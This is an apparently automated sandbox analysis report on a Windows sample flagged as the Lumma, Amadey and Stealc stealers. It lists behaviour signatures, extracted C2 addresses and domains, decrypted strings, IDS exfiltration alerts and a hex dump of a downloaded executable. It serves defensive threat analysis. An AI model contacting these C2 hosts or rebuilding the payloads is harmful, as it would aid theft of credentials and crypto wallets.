Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1544853
MD5: aadfe832c4d1eb7c9455494309e56b52
SHA1: eca68d03c47046b55fdaf1d31223ec63d44e1da5
SHA256: 3b79ac7b5a8514b2ceaf41a0e49eeea96082a616c114f8915d0ed453af62d8bb
Tags: exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
Potentially malicious time measurement code found
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Use Short Name Path in Command Line
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.43/Zu7JuNko/index.php URL Reputation: Label: phishing
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000017.00000002.2563974947.00000000001E1000.00000040.00000001.01000000.00000014.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26.2.cc1af330ba.exe.5a0000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack Malware Configuration Extractor: LummaC {"C2 url": ["contemteny.site", "opposezmny.site", "goalyfeastz.site", "seallysl.site", "servicedny.site", "dilemmadu.site", "authorisev.site", "faulteyotk.site"], "Build id": "MkfS5f--"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe ReversingLabs: Detection: 52%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: servicedny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: authorisev.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: faulteyotk.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: dilemmadu.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: contemteny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: goalyfeastz.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: opposezmny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: seallysl.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: servicedny.site
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: lid=%s&j=%s&ver=4.0
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: TeslaBrowser/5.5
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: - Screen Resoluton:
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: - Physical Installed Memory:
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: Workgroup: -
Source: 24.2.BitLockerToGo.exe.400000.0.raw.unpack String decryptor: MkfS5f--
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49826 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49985 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49999 version: TLS 1.2
Source: unknown HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50010 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: Binary string: my_library.pdbU source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source: Binary string: BitLockerToGo.pdb source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: my_library.pdb source: cc1af330ba.exe, 0000001A.00000002.2630286475.00000000005CC000.00000040.00000001.01000000.00000016.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1851231541.0000000000612000.00000040.00000001.01000000.00000006.sdmp, F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000003.1717692280.0000000005310000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000003.2247205275.00000000054B0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 0000000F.00000002.2380720638.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2421769147.0000000000682000.00000040.00000001.01000000.00000011.sdmp, 4264524541.exe, 00000010.00000003.2288361449.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000011.00000002.2411769379.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000011.00000003.2368137194.0000000004870000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000003.2454647364.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, de057a4668.exe, 00000013.00000002.2497872091.0000000000EB2000.00000040.00000001.01000000.00000010.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000003.2503551142.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, SWB92CTM4OIX4M9DCKIEYGOPF.exe, 00000016.00000002.2630519473.00000000003F2000.00000040.00000001.01000000.00000013.sdmp
Source: Binary string: BitLockerToGo.pdbGCTL source: wintoolsone64.exe, 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\Desktop\desktop.ini

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49979 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49980
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49982 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49984 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49989 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49993 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49996 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50001 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.7:50005 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50006 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.7:50003
Source: Network traffic Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.7:50012 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50011 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50014 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50016 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49814 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49864 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49727 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49727 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49985 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49985 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49988 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49999 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50009 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50010 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50008 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50008 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50020 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50018 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49987 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49987 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50015 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50015 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50017 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50017 -> 188.114.96.3:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor URLs: contemteny.site
Source: Malware configuration extractor URLs: opposezmny.site
Source: Malware configuration extractor URLs: goalyfeastz.site
Source: Malware configuration extractor URLs: seallysl.site
Source: Malware configuration extractor URLs: servicedny.site
Source: Malware configuration extractor URLs: dilemmadu.site
Source: Malware configuration extractor URLs: authorisev.site
Source: Malware configuration extractor URLs: faulteyotk.site
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 19:35:37 GMTContent-Type: application/octet-streamContent-Length: 2850304Last-Modified: Tue, 29 Oct 2024 18:26:40 GMTConnection: keep-aliveETag: "672128e0-2b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 7f 77 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 67 79 66 6e 65 75 62 00 20 2b 00 00 a0 00 00 00 1e 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 65 64 67 68 78 6d 00 20 00 00 00 c0 2b 00 00 04 00 00 00 58 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 5c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
